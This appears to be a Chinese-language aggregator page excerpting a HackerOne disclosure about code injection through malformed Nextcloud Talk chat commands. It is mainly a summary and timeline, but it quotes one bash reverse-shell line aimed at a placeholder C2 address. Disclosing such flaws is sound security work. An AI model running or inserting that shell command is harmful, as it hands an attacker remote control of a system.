Code injection possible with malformed Nextcloud Talk chat commands
该报告还没有中文解读。
原文摘录
摘自原文(4388 字符中的一小部分)
Summary The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using `@exec`. If …
原文中的代码
bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 &
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @covert-spectre · 版权归作者与 Nextcloud 所有